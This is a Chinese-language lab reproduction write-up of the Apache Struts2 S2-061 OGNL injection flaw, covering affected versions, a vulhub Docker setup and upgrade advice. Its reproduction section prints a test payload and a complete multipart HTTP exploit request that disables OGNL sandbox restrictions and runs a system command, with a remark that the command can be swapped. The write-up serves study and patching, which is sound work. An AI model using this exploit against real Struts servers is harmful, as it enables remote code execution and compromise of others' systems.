0x01 漏洞簡介

Struts在某些情況下可能存在OGNL表示式注入漏洞,如果開發人員使用了 %{…} 語法進行強制OGNL解析,某些特殊的TAG屬性可能會被雙重解析。攻擊者可以通過構造惡意的OGNL表示式來利用此漏洞,最終造成遠端程式碼執行

0x02 漏洞影響

apache:struts2:2.0.0 - 2.5.25

0x03 環境搭建

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

下載docker-compose.yml後cd到資料夾,使用docker-compose up -d進行安裝,安裝完後訪問ip:8080進入環境,使用docker-compose down關閉環境

0x04 漏洞復現

首先先測試一下漏洞是否存在

payload:?id=%25%7b+%27fuxian%27+%2b+(2000+%2b+21).toString()%7d

原語句:%{ 'fuxian' + (2000 + 21).toString()}

最後可以看到html標籤a的id為fuxian2021,說明Struts2將語句給解析了,構成了RCE



exp:

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

將資料包使用burpsuite的重放器來提交,注意修改host的值



可以看到有輸出語句



通過修改payload來執行不同的語句

0x05 修復建議

避免對不受信任的使用者輸入使用強制OGNL評估,或/和升級到2.5.26版,可修復該漏洞。騰訊安全專家建議受影響的使用者將Apache Struts框架升級至最新版本臨時修復,升級到 Struts 2.5.26 版本,下載地址為:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26